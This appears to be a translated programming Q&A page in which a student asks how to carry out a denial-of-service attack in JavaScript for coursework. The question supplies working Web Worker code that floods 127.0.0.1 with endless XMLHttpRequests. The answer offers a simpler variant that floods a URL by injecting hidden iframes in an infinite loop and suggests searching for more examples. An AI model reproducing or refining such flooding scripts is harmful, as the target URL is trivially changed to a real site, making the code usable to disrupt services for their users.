簡體   English   中英

使用WebWorkers的JavaScript DoS攻擊

[英]JavaScript DoS attack using WebWorkers

在大學里,我們有點“功課”,試圖執行拒絕服務攻擊。 我決定采取與其他方式不同的方式。 我試圖使用JavaScript執行它。

問題是:

  • 甚至有可能做到這一點嗎?
  • 如果我在回送上執行HttpRequest,是否會因為HTTP端口溢出而導致任何網站無法訪問而看到結果?
  • 有比我更好的代碼嗎?

index.html:

<script>
    for(var i = 0; i< 50; i++) {
        worker = new Worker("worker.js");
        worker.postMessage('Hello World');
    }
</script>

worker.js:

self.addEventListener('message', function(e) {
    while(1) {
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.onreadystatechange = function() { 
            if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
                    callback(xmlHttp.responseText);
            }
            xmlHttp.open("GET", "http://127.0.0.1", true);
            xmlHttp.send(null);
    }
}, false);

謝謝您的投入!

因此,首先,如果我可以改進此代碼,我將使用setInterval代替while(1)。 其次,我在這里找到了一個簡單得多的版本:

function _DDoS(url){
    document.body.innerHTML+='<iframe src="'+url+'" style="display:none;">   </iframe>';
}
for(;;){
 setTimeout(_DDoS("http://localhost"),10);
}

只要搜索javascript ddos​​,您就會發現很多示例

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM